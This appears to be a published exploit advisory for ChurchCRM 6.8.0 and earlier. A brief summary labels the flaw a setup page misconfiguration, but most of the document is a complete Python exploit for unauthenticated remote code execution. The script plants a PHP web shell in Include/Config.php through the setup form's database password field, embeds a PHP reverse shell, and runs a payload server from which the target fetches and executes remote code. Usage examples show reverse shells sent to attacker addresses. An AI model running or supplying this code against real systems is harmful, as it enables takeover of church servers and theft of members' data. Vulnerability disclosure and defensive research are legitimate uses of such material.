=============================================================================================================================================
| # Title     : ChurchCRM ≤ 6.8.0 – Setup Page Security Misconfiguration                                                                    |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
| # Vendor    : https://github.com/ChurchCRM/                                                                                               |
=============================================================================================================================================

[+] Summary    : ChurchCRM versions 6.8.0 and earlier expose the installation setup endpoint without proper access restrictions. 
                 If the setup process remains accessible after deployment, it may allow unauthorized users to interact with configuration parameters. 
				 This misconfiguration increases the risk of exploitation in unpatched or improperly secured installations. 
                 Administrators are advised to disable or restrict access to the setup directory after installation and update to the latest secure version.
[+] POC : 

#!/usr/bin/env python3

import argparse
import base64
import random
import string
import sys
import time
import logging
import re
import socket
import threading
import http.server
import socketserver
from urllib.parse import urljoin, urlparse, quote
from typing import Optional, Dict, Any, Tuple, List, Union
from dataclasses import dataclass, field
from enum import Enum
from functools import wraps
import json
import requests
from requests.exceptions import RequestException
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

VERSION = "2.0.0"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
TIMEOUT = 30
MAX_RETRIES = 3
DEFAULT_PATHS = ['', '/churchcrm', '/crm', '/church', '/crmchurch']

class ExploitError(Exception):
    """Base exception for exploit errors"""
    pass


class TargetUnreachableError(ExploitError):
    """Target is not reachable"""
    pass


class InjectionFailedError(ExploitError):
    """Failed to inject payload"""
    pass


class PayloadServerError(ExploitError):
    """Payload server error"""
    pass


class VersionDetectionError(ExploitError):
    """Version detection error"""
    pass
class TargetType(Enum):
    """Target platform types"""
    LINUX_CMD_STAGER = "linux_cmd_stager"
    PHP_MEMORY = "php_memory"
    PHP_FETCH = "php_fetch"


class CheckCode(Enum):
    """Check result codes"""
    SAFE = "safe"
    VULNERABLE = "vulnerable"
    UNKNOWN = "unknown"
    UNREACHABLE = "unreachable"


@dataclass
class TargetInfo:
    """Target information"""
    url: str
    base_path: str
    scheme: str
    host: str
    port: int
    version: Optional[str] = None
    vulnerable: Optional[bool] = None
    detected_paths: List[str] = field(default_factory=list)


@dataclass
class ExploitResult:
    """Exploit result"""
    success: bool
    session: Optional[requests.Session] = None
    message: str = ""
    target: Optional[TargetInfo] = None
    output: Optional[str] = None

class Version:
    """Advanced version handling"""
    
    def __init__(self, version_string: str):
        self.original = version_string
        self.clean = self._clean_version(version_string)
        self.parts = self._parse_parts(self.clean)
        self.suffix = self._extract_suffix(version_string)
    
    def _clean_version(self, version: str) -> str:
        """Clean version string"""

        match = re.search(r'(\d+\.\d+(?:\.\d+)?)', version)
        return match.group(1) if match else '0.0.0'
    
    def _parse_parts(self, version: str) -> List[int]:
        """Parse version into integer parts"""
        parts = []
        for part in version.split('.'):
            try:
                parts.append(int(part))
            except ValueError:
                parts.append(0)
        return parts
    
    def _extract_suffix(self, version: str) -> str:
        """Extract suffix (e.g., -beta2, -RC1)"""
        match = re.search(r'[-_]([a-zA-Z]+\d*)$', version)
        return match.group(1) if match else ''
    
    def __lt__(self, other: Union[str, 'Version']) -> bool:
        """Less than comparison"""
        if isinstance(other, str):
            other = Version(other)
        for i in range(max(len(self.parts), len(other.parts))):
            v1 = self.parts[i] if i < len(self.parts) else 0
            v2 = other.parts[i] if i < len(other.parts) else 0
            
            if v1 < v2:
                return True
            if v1 > v2:
                return False

        if self.suffix and not other.suffix:
            return True  # Has suffix is considered older
        if not self.suffix and other.suffix:
            return False
        
        return False
    
    def __le__(self, other: Union[str, 'Version']) -> bool:
        """Less than or equal"""
        return self < other or self == other
    
    def __eq__(self, other: Union[str, 'Version']) -> bool:
        """Equal comparison"""
        if isinstance(other, str):
            other = Version(other)
        return self.parts == other.parts and self.suffix == other.suffix
    
    def __str__(self) -> str:
        return self.original
    
    def __repr__(self) -> str:
        return f"Version('{self.original}')"

def safe_urljoin(base: str, path: str) -> str:
    """
    Safely join URL parts handling base paths correctly
    
    Examples:
    >>> safe_urljoin('http://example.com/churchcrm', '/setup/')
    'http://example.com/churchcrm/setup/'
    >>> safe_urljoin('http://example.com/churchcrm/', 'setup/')
    'http://example.com/churchcrm/setup/'
    """
    base = base.rstrip('/')

    if path.startswith('/'):
        parsed = urlparse(base)
        base_without_path = f"{parsed.scheme}://{parsed.netloc}"
        base_path = parsed.path.rstrip('/')
        return f"{base_without_path}{base_path}{path}"
    else:
        return f"{base}/{path.lstrip('/')}"


def normalize_url(url: str) -> str:
    """Normalize URL by adding scheme if missing and removing trailing slash"""
    if not url.startswith(('http://', 'https://')):
        url = 'http://' + url
    return url.rstrip('/')


def parse_target(url: str) -> TargetInfo:
    """Parse target URL and return TargetInfo"""
    url = normalize_url(url)
    parsed = urlparse(url)
    
    return TargetInfo(
        url=url,
        base_path=parsed.path.rstrip('/') or '/',
        scheme=parsed.scheme,
        host=parsed.hostname,
        port=parsed.port or (443 if parsed.scheme == 'https' else 80),
    )


def discover_base_path(session: requests.Session, base_url: str, 
                       paths: List[str] = None, logger: logging.Logger = None) -> Optional[str]:
    """
    Discover the correct base path by trying common paths
    """
    if paths is None:
        paths = DEFAULT_PATHS
    
    parsed = urlparse(base_url)
    base = f"{parsed.scheme}://{parsed.netloc}"
    
    for path in paths:
        test_url = f"{base}{path}" if path else base
        try:
            setup_url = safe_urljoin(test_url, '/setup/')
            if logger:
                logger.debug(f"Trying path: {setup_url}")
            
            response = session.get(setup_url, timeout=5, allow_redirects=False)
            
            if response.status_code in [200, 301, 302]:
                if logger:
                    logger.info(f"Found ChurchCRM at: {test_url}")
                return test_url
        except:
            continue
    
    return None

class ColoredFormatter(logging.Formatter):
    """Custom formatter with colors"""
    
    COLORS = {
        'DEBUG': '\033[36m',      
        'INFO': '\033[32m',       
        'WARNING': '\033[33m',   
        'ERROR': '\033[31m',     
        'CRITICAL': '\033[35m',    
        'RESET': '\033[0m'         
    }
    
    def format(self, record):
        levelname = record.levelname
        if levelname in self.COLORS:
            record.levelname = f"{self.COLORS[levelname]}{levelname}{self.COLORS['RESET']}"
        return super().format(record)


def setup_logger(debug: bool = False) -> logging.Logger:
    """Setup logger with appropriate configuration"""
    logger = logging.getLogger('churchcrm_exploit')
    logger.setLevel(logging.DEBUG if debug else logging.INFO)
    
    if not logger.handlers:
        handler = logging.StreamHandler(sys.stdout)
        formatter = ColoredFormatter(
            '%(asctime)s [%(levelname)s] %(message)s',
            datefmt='%H:%M:%S'
        )
        handler.setFormatter(formatter)
        logger.addHandler(handler)
    
    return logger

def create_session(retries: int = MAX_RETRIES) -> requests.Session:
    """Create requests session with retry logic"""
    session = requests.Session()
    
    retry_strategy = Retry(
        total=retries,
        backoff_factor=0.5,
        status_forcelist=[500, 502, 503, 504],
        allowed_methods=["HEAD", "GET", "OPTIONS", "POST"]
    )
    
    adapter = HTTPAdapter(max_retries=retry_strategy)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    
    session.headers.update({
        'User-Agent': USER_AGENT,
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'keep-alive',
    })
    
    return session

def random_string(length: int = 8) -> str:
    """Generate random string"""
    return ''.join(random.choices(string.ascii_lowercase, k=length))


def random_int_string(min_len: int = 5, max_len: int = 10) -> str:
    """Generate random integer as string"""
    length = random.randint(min_len, max_len)
    return ''.join(random.choices(string.digits, k=length))


def random_url() -> str:
    """Generate random URL"""
    return f"http://{random_string(8)}.com/"

class PayloadHandler(http.server.SimpleHTTPRequestHandler):
    """HTTP handler for serving payloads"""
    
    payload = None
    logger = None
    request_count = 0
    
    def do_GET(self):
        """Handle GET request"""
        PayloadHandler.request_count += 1
        
        if self.logger:
            self.logger.debug(f"Payload request #{PayloadHandler.request_count} from {self.client_address[0]}")
        
        if self.payload:
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-httpd-php')
            self.send_header('Content-Length', str(len(self.payload)))
            self.send_header('Pragma', 'no-cache')
            self.send_header('Cache-Control', 'no-cache, no-store, must-revalidate')
            self.end_headers()
            self.wfile.write(self.payload.encode())
            
            if self.logger:
                self.logger.info(f"Served payload to {self.client_address[0]}")
        else:
            self.send_response(404)
            self.end_headers()
    
    def log_message(self, format, *args):
        """Override to use our logger"""
        if self.logger and self.logger.isEnabledFor(logging.DEBUG):
            self.logger.debug(f"Payload server: {format % args}")


class PayloadServer:
    """HTTP server for serving payloads"""
    
    def __init__(self, logger: logging.Logger, host: str = '0.0.0.0', port: int = 0):
        self.logger = logger
        self.host = host
        self.port = port
        self.server = None
        self.thread = None
        self.payload = None
    
    def start(self, payload: str) -> str:
        """Start payload server and return URL"""
        self.payload = payload
        PayloadHandler.payload = payload
        PayloadHandler.logger = self.logger
        PayloadHandler.request_count = 0
        self.server = socketserver.TCPServer((self.host, self.port), PayloadHandler, bind_and_activate=False)
        self.server.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.server.server_bind()
        self.server.server_activate()
        self.port = self.server.server_address[1]
        self.thread = threading.Thread(target=self.server.serve_forever)
        self.thread.daemon = True
        self.thread.start()
        
        server_url = f"http://{self.get_local_ip()}:{self.port}/"
        self.logger.info(f"Payload server started at {server_url}")
        
        return server_url
    
    def stop(self):
        """Stop payload server"""
        if self.server:
            self.server.shutdown()
            self.server.server_close()
            self.logger.debug(f"Payload server stopped (served {PayloadHandler.request_count} requests)")
    
    def get_local_ip(self) -> str:
        """Get local IP address"""
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('10.255.255.255', 1))
            ip = s.getsockname()[0]
        except Exception:
            ip = '127.0.0.1'
        finally:
            s.close()
        return ip
    
    def wait_for_requests(self, timeout: int = 10) -> bool:
        """Wait for at least one request"""
        start = time.time()
        while time.time() - start < timeout:
            if PayloadHandler.request_count > 0:
                return True
            time.sleep(0.5)
        return False

class VersionDetector:
    """Detect ChurchCRM version from response"""
    
    def __init__(self, logger: logging.Logger):
        self.logger = logger
        self.patterns = [
            (re.compile(r'CRM-VERSION:\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'header'),
            (re.compile(r'<meta[^>]*name=["\']version["\'][^>]*content=["\']([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'meta'),
            (re.compile(r'<meta[^>]*content=["\']([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)[^>]*name=["\']version', re.I), 'meta'),
            (re.compile(r'<!--\s*ChurchCRM[^\d]*([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'comment'),
            (re.compile(r'ChurchCRM[^\d]*([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'footer'),
            (re.compile(r'window\.ChurchCRM\s*=\s*\{[^}]*version:\s*["\']([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'js'),
            (re.compile(r'"softwareVersion"\s*:\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'json'),
            (re.compile(r'ChurchCRM[\/\s-]*([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', re.I), 'php'),
        ]
    
    def detect(self, response: requests.Response) -> Optional[Version]:
        """Detect version from response"""
        detected_versions = []
        
        if 'CRM-VERSION' in response.headers:
            version = self._clean_version(response.headers['CRM-VERSION'])
            if version:
                self.logger.debug(f"Version found in header: {version}")
                detected_versions.append(('header', version))

        if 'X-Powered-By' in response.headers:
            match = re.search(r'ChurchCRM[\/\s-]*([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', 
                             response.headers['X-Powered-By'], re.I)
            if match:
                version = self._clean_version(match.group(1))
                if version:
                    self.logger.debug(f"Version found in X-Powered-By: {version}")
                    detected_versions.append(('x-powered', version))

        for pattern, source in self.patterns:
            matches = pattern.findall(response.text)
            for match in matches:
                if isinstance(match, tuple):
                    match = match[0]
                version = self._clean_version(match)
                if version:
                    self.logger.debug(f"Version found in {source}: {version}")
                    detected_versions.append((source, version))
        
        if not detected_versions:
            return None

        version_counts = {}
        for source, version in detected_versions:
            version_str = str(version)
            version_counts[version_str] = version_counts.get(version_str, 0) + 1
        
        most_common = max(version_counts.items(), key=lambda x: x[1])
        self.logger.debug(f"Most common version: {most_common[0]} (appears {most_common[1]} times)")
        
        return Version(most_common[0])
    
    def _clean_version(self, version: str) -> Optional[Version]:
        """Clean and validate version string"""
        version = version.strip()

        match = re.search(r'([0-9]+\.[0-9]+(?:\.[0-9]+)?(?:-[a-zA-Z0-9.]+)?)', version)
        if match:
            return Version(match.group(1))
        
        return None
    
    def is_vulnerable(self, version: Optional[Version]) -> Optional[bool]:
        """Check if version is vulnerable using enhanced comparison"""
        if not version:
            return None
        
        try:

            vulnerable = version <= '6.8.0'
            
            self.logger.debug(f"Version {version} <= 6.8.0? {vulnerable}")
            return vulnerable
            
        except Exception as e:
            self.logger.error(f"Version comparison error: {e}")
            return None

class ChurchCRMExploit:
    """ChurchCRM RCE Exploit"""
    
    def __init__(self, target_url: str, logger: logging.Logger, 
                 target_type: TargetType = TargetType.LINUX_CMD_STAGER,
                 lhost: Optional[str] = None, lport: Optional[int] = None,
                 payload: Optional[str] = None, verify_ssl: bool = True,
                 proxy: Optional[str] = None, auto_discover: bool = True):
        
        self.logger = logger
        self.original_url = target_url
        self.target_type = target_type
        self.lhost = lhost
        self.lport = lport
        self.custom_payload = payload
        self.verify_ssl = verify_ssl
        self.proxy = proxy
        self.auto_discover = auto_discover
        self.session = create_session()
        self.payload_server = None
        self.version_detector = VersionDetector(logger)
        self.backdoor_injected = False
        
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}

        self.target = self._initialize_target(target_url)
    
    def _initialize_target(self, target_url: str) -> TargetInfo:
        """Initialize target with optional path discovery"""

        try:
            info = parse_target(target_url)

            test_url = safe_urljoin(info.url, '/setup/')
            response = self.session.get(test_url, timeout=5, verify=self.verify_ssl, allow_redirects=False)
            
            if response.status_code in [200, 301, 302]:
                self.logger.info(f"Target URL working: {info.url}")
                info.detected_paths.append(info.base_path)
                return info
        except:
            pass

        if self.auto_discover:
            self.logger.info("Direct URL not working, attempting path discovery...")
            discovered = discover_base_path(self.session, target_url, logger=self.logger)
            
            if discovered:
                info = parse_target(discovered)
                info.detected_paths = DEFAULT_PATHS
                self.logger.info(f"Discovered ChurchCRM at: {info.url}")
                return info
        return parse_target(target_url)
    
    def check(self) -> Dict[str, Any]:
        """Check if target is vulnerable"""
        self.logger.info(f"Checking target: {self.target.url}")
        
        try:

            url = safe_urljoin(self.target.url, '/setup/')
            self.logger.debug(f"Accessing {url}")
            
            response = self.session.get(
                url,
                timeout=TIMEOUT,
                verify=self.verify_ssl,
                allow_redirects=True
            )
            
            self.logger.debug(f"Response code: {response.status_code}")
            
            if response.status_code not in [200, 301, 302]:
                self.logger.warning(f"Unexpected response code: {response.status_code}")
                return {
                    'code': CheckCode.UNREACHABLE,
                    'message': f'Setup page returned HTTP {response.status_code}'
                }

            version = self.version_detector.detect(response)
            
            if version:
                self.logger.info(f"Detected ChurchCRM version: {version}")
                vulnerable = self.version_detector.is_vulnerable(version)
                self.target.version = str(version)
                self.target.vulnerable = vulnerable
                
                if vulnerable:
                    self.logger.warning("Target appears VULNERABLE!")
                    return {
                        'code': CheckCode.VULNERABLE,
                        'version': str(version),
                        'message': f'Vulnerable version {version} detected'
                    }
                else:
                    self.logger.info("Target appears NOT vulnerable")
                    return {
                        'code': CheckCode.SAFE,
                        'version': str(version),
                        'message': f'Version {version} is not vulnerable'
                    }
            else:
                self.logger.warning("Could not detect version")
                return {
                    'code': CheckCode.UNKNOWN,
                    'message': 'Version unknown - setup page accessible'
                }
                
        except RequestException as e:
            self.logger.error(f"Request failed: {e}")
            return {
                'code': CheckCode.UNREACHABLE,
                'message': f'Target unreachable: {e}'
            }
    
    def build_payload(self) -> str:
        """Build payload based on target type"""
        prefix = f"{random_string(3)}';"
        
        if self.target_type == TargetType.PHP_MEMORY:

            if self.custom_payload:
                php_payload = self.custom_payload
            else:

                php_payload = self._generate_reverse_shell()
            
            b64_payload = base64.b64encode(php_payload.encode()).decode()
            return f"{prefix} eval(base64_decode(\"{b64_payload}\")); //"
        
        elif self.target_type == TargetType.PHP_FETCH:

            if not self.payload_server:
                raise PayloadServerError("Payload server not started")
            
            payload_name = f"/tmp/{random_string(8)}.php"
            server_url = f"http://{self.lhost}:{self.payload_server.port}/"
            
            return (f"{prefix} $f='{payload_name}'; "
                   f"file_put_contents($f, file_get_contents('{server_url}')); "
                   f"register_shutdown_function('unlink', $f); include($f); //")
        
        else:

            return f"{prefix} system($_GET['cmd']); //"
    
    def _generate_reverse_shell(self) -> str:
        """Generate PHP reverse shell"""
        if not self.lhost or not self.lport:
            return "phpinfo();"
        
        return f"""<?php

$lhost = '{self.lhost}';
$lport = {self.lport};

if (function_exists('fsockopen') && function_exists('proc_open')) {{
    $sock = @fsockopen($lhost, $lport);
    if ($sock) {{
        $descriptors = array(
            0 => $sock,
            1 => $sock,
            2 => $sock
        );
        $process = proc_open((PHP_OS == 'WINNT' ? 'cmd' : '/bin/sh'), $descriptors, $pipes);
        proc_close($process);
    }}
}}

if (function_exists('socket_create') && function_exists('proc_open')) {{
    $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if ($sock && @socket_connect($sock, $lhost, $lport)) {{
        $descriptors = array(
            0 => $sock,
            1 => $sock,
            2 => $sock
        );
        $process = proc_open((PHP_OS == 'WINNT' ? 'cmd' : '/bin/sh'), $descriptors, $pipes);
        proc_close($process);
    }}
}}
?>"""
    
    def inject_backdoor(self) -> bool:
        """Inject backdoor via setup page"""
        self.logger.info("Injecting backdoor into Include/Config.php...")
        
        payload = self.build_payload()
        
        post_data = {
            'DB_SERVER_NAME': random_string(8),
            'DB_SERVER_PORT': '3306',
            'DB_NAME': random_string(8),
            'DB_USER': random_string(6),
            'DB_PASSWORD': payload,
            'ROOT_PATH': '/',
            'URL': random_url()
        }
        
        self.logger.debug(f"POST data prepared (password field contains payload)")
        
        try:
            url = safe_urljoin(self.target.url, '/setup/')
            self.logger.debug(f"Sending POST to {url}")
            
            response = self.session.post(
                url,
                data=post_data,
                timeout=TIMEOUT,
                verify=self.verify_ssl,
                allow_redirects=False
            )
            
            if response.status_code == 200:
                self.logger.info("Backdoor injected successfully!")
                self.backdoor_injected = True
                return True
            else:
                self.logger.error(f"Injection failed with HTTP {response.status_code}")
                return False
                
        except RequestException as e:
            self.logger.error(f"Injection request failed: {e}")
            return False
    
    def execute_command(self, cmd: str) -> Optional[str]:
        """Execute command on target"""
        if not self.backdoor_injected:
            self.logger.warning("Backdoor not injected yet. Attempting injection...")
            if not self.inject_backdoor():
                self.logger.error("Cannot execute command: backdoor injection failed")
                return None
        
        self.logger.info(f"Executing command: {cmd}")
        
        try:
            url = safe_urljoin(self.target.url, '/')
            self.logger.debug(f"Command URL: {url}?cmd={quote(cmd)}")
            
            response = self.session.get(
                url,
                params={'cmd': cmd},
                timeout=TIMEOUT,
                verify=self.verify_ssl
            )
            
            if response.status_code == 200:

                output = response.text.strip()

                if '<html' in output.lower():

                    body_match = re.search(r'<body[^>]*>(.*?)</body>', output, re.S | re.I)
                    if body_match:
                        output = body_match.group(1).strip()

                    output = re.sub(r'<[^>]+>', ' ', output)
                    output = re.sub(r'\s+', ' ', output).strip()
                
                return output
            else:
                self.logger.error(f"Command execution failed with HTTP {response.status_code}")
                return None
                
        except RequestException as e:
            self.logger.error(f"Command execution request failed: {e}")
            return None
    
    def cleanup(self) -> bool:
        """Clean up - remove backdoor"""
        if not self.backdoor_injected:
            self.logger.debug("No backdoor to clean up")
            return True
        
        self.logger.info("Cleaning up...")

        commands = [
            'rm -f Include/Config.php',
            'rm Include/Config.php',
            'rm -f churchcrm/Include/Config.php',
            'del /f Include\\Config.php',
            'php -r "unlink(\'Include/Config.php\');"',
            'php -r "unlink(\'churchcrm/Include/Config.php\');"'
        ]
        
        success = False
        for cmd in commands:
            result = self.execute_command(cmd)
            if result is not None:  # Command executed (even if file doesn't exist)
                self.logger.debug(f"Cleanup command executed: {cmd}")
                success = True
        
        if success:
            self.logger.info("Cleanup completed")
            self.backdoor_injected = False
        else:
            self.logger.warning("Cleanup may have failed")
        
        return success
    
    def run_cmd_stager(self, cmd: str) -> Tuple[bool, Optional[str]]:
        """Run command stager"""
        output = self.execute_command(cmd)
        return (output is not None, output)
    
    def run_php_memory(self) -> Tuple[bool, Optional[str]]:
        """Run PHP in-memory payload"""
        self.logger.info("Executing PHP in-memory payload...")

        try:
            url = safe_urljoin(self.target.url, '/')
            self.logger.debug(f"Triggering payload via GET to {url}")
            
            response = self.session.get(url, timeout=TIMEOUT, verify=self.verify_ssl)
            
            if response.status_code == 200:
                self.logger.info("PHP payload executed successfully")

                return (True, response.text[:500] + "..." if len(response.text) > 500 else response.text)
            else:
                self.logger.error(f"PHP execution failed with HTTP {response.status_code}")
                return (False, None)
                
        except RequestException as e:
            self.logger.error(f"PHP execution request failed: {e}")
            return (False, None)
    
    def run_php_fetch(self) -> Tuple[bool, Optional[str]]:
        """Run PHP fetch payload"""
        self.logger.info("Executing PHP fetch payload...")

        self.payload_server = PayloadServer(self.logger, host='0.0.0.0')
        
        if self.custom_payload:
            payload = self.custom_payload
        else:
            payload = self._generate_reverse_shell()
        
        try:
            server_url = self.payload_server.start(payload)
            self.logger.info(f"Serving payload from {server_url}")

            time.sleep(2)

            if self.inject_backdoor():
                self.logger.info("Waiting for payload request...")

                if self.payload_server.wait_for_requests(timeout=30):
                    self.logger.info("Payload was fetched by target")

                    time.sleep(5)
                    success = True
                else:
                    self.logger.warning("No payload request received")
                    success = False
            else:
                success = False
            
            return (success, None)
            
        finally:
            self.payload_server.stop()
    
    def exploit(self) -> ExploitResult:
        """Main exploit method"""
        self.logger.info(f"Starting exploit against {self.target.url}")
        self.logger.info(f"Target type: {self.target_type.value}")

        check_result = self.check()
        
        if check_result['code'] == CheckCode.UNREACHABLE:
            return ExploitResult(
                success=False,
                message=f"Target unreachable: {check_result['message']}"
            )
        
        if check_result['code'] == CheckCode.SAFE:
            return ExploitResult(
                success=False,
                message=check_result['message']
            )

        if not self.inject_backdoor():
            return ExploitResult(
                success=False,
                message="Failed to inject backdoor"
            )

        success = False
        output = None
        
        if self.target_type == TargetType.LINUX_CMD_STAGER:
            if self.custom_payload:
                success, output = self.run_cmd_stager(self.custom_payload)
            else:

                success, output = self.run_cmd_stager('id')
                if success and output:
                    self.logger.info(f"Command output: {output.strip()}")
        
        elif self.target_type == TargetType.PHP_MEMORY:
            success, output = self.run_php_memory()
        
        elif self.target_type == TargetType.PHP_FETCH:
            success, output = self.run_php_fetch()

        self.cleanup()
        
        return ExploitResult(
            success=success,
            message="Exploit completed successfully" if success else "Exploit failed",
            target=self.target,
            output=output
        )


def main():
    """Main entry point"""
    parser = argparse.ArgumentParser(
        description='ChurchCRM Unauthenticated RCE Exploit by indoushka',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Check vulnerability
  %(prog)s http://target.com/churchcrm --check
  
  # Execute command
  %(prog)s http://target.com --cmd "id"
  
  # Reverse shell (Linux)
  %(prog)s http://target.com --reverse 192.168.1.100 4444
  
  # Reverse shell with PHP fetch method
  %(prog)s http://target.com --type php-fetch --reverse 192.168.1.100 4444
  
  # Custom PHP payload
  %(prog)s http://target.com --payload "<?php phpinfo(); ?>"
  
  # With proxy and debug
  %(prog)s http://target.com --check --proxy http://127.0.0.1:8080 --debug
  
Exit codes:
  0 - Not vulnerable / Success
  1 - Error / Unknown
  2 - Vulnerable
        """
    )
    
    parser.add_argument('target', help='Target URL (e.g., http://target.com/churchcrm)')

    parser.add_argument('--check', action='store_true', help='Check if target is vulnerable')
    parser.add_argument('--cmd', metavar='COMMAND', help='Execute command')
    parser.add_argument('--reverse', nargs=2, metavar=('LHOST', 'LPORT'), 
                      help='Reverse shell (LHOST LPORT)')
    parser.add_argument('--payload', metavar='CODE', help='Custom PHP payload')
    parser.add_argument('--payload-file', metavar='FILE', help='PHP payload file')
    parser.add_argument('--type', choices=['linux', 'php-memory', 'php-fetch'], 
                       default='linux', help='Target type (default: linux)')
    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--debug', action='store_true', help='Enable debug output')
    parser.add_argument('--no-discover', action='store_true', 
                       help='Disable automatic path discovery')
    
    args = parser.parse_args()

    logger = setup_logger(args.debug)

    if not any([args.check, args.cmd, args.reverse, args.payload, args.payload_file]):
        logger.error("No action specified. Use --help for usage.")
        sys.exit(1)

    target_type_map = {
        'linux': TargetType.LINUX_CMD_STAGER,
        'php-memory': TargetType.PHP_MEMORY,
        'php-fetch': TargetType.PHP_FETCH
    }
    target_type = target_type_map[args.type]

    payload = None
    if args.payload:
        payload = args.payload
    elif args.payload_file:
        try:
            with open(args.payload_file, 'r') as f:
                payload = f.read()
        except Exception as e:
            logger.error(f"Failed to read payload file: {e}")
            sys.exit(1)

    try:
        exploit = ChurchCRMExploit(
            target_url=args.target,
            logger=logger,
            target_type=target_type,
            lhost=args.reverse[0] if args.reverse else None,
            lport=int(args.reverse[1]) if args.reverse else None,
            payload=payload,
            verify_ssl=not args.no_verify,
            proxy=args.proxy,
            auto_discover=not args.no_discover
        )
    except Exception as e:
        logger.error(f"Failed to initialize exploit: {e}")
        if args.debug:
            import traceback
            traceback.print_exc()
        sys.exit(1)

    try:
        if args.check:
            result = exploit.check()
            if result['code'] == CheckCode.VULNERABLE:
                logger.warning(f"Target is VULNERABLE! Version: {result.get('version', 'unknown')}")
                sys.exit(2)
            elif result['code'] == CheckCode.SAFE:
                logger.info("Target is NOT vulnerable")
                sys.exit(0)
            else:
                logger.warning(f"Unknown status: {result['message']}")
                sys.exit(1)
        
        elif args.cmd:
            logger.info(f"Executing command: {args.cmd}")

            if exploit.target_type != TargetType.LINUX_CMD_STAGER:
                logger.warning(f"Switching target type from {exploit.target_type.value} to linux_cmd_stager")
                exploit.target_type = TargetType.LINUX_CMD_STAGER
            
            result = exploit.exploit()
            if result.success and result.output:
                print("\n" + "="*60)
                print("COMMAND OUTPUT:")
                print("="*60)
                print(result.output)
                print("="*60)
            elif result.success:
                print("\nCommand executed successfully (no output)")
            else:
                logger.error(f"Command execution failed: {result.message}")
                sys.exit(1)
        
        elif args.reverse:
            logger.info(f"Attempting reverse shell to {args.reverse[0]}:{args.reverse[1]}")

            if args.type == 'php-fetch':
                exploit.target_type = TargetType.PHP_FETCH
            elif args.type == 'php-memory':
                exploit.target_type = TargetType.PHP_MEMORY
            else:
                exploit.target_type = TargetType.LINUX_CMD_STAGER
            
            result = exploit.exploit()
            
            if result.success:
                logger.info("Reverse shell payload sent. Check your listener!")
                if result.output:
                    print(f"\nOutput: {result.output}")
            else:
                logger.error(f"Reverse shell failed: {result.message}")
                sys.exit(1)
        
        else:
            result = exploit.exploit()
            if result.success:
                logger.info("Exploit completed successfully!")
                if result.output:
                    print(f"\nOutput: {result.output}")
            else:
                logger.error(f"Exploit failed: {result.message}")
                sys.exit(1)
    
    except KeyboardInterrupt:
        logger.info("Interrupted by user")
        sys.exit(130)
    except Exception as e:
        logger.error(f"Unexpected error: {e}")
        if args.debug:
            import traceback
            traceback.print_exc()
        sys.exit(1)


if __name__ == '__main__':
    main()
		
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================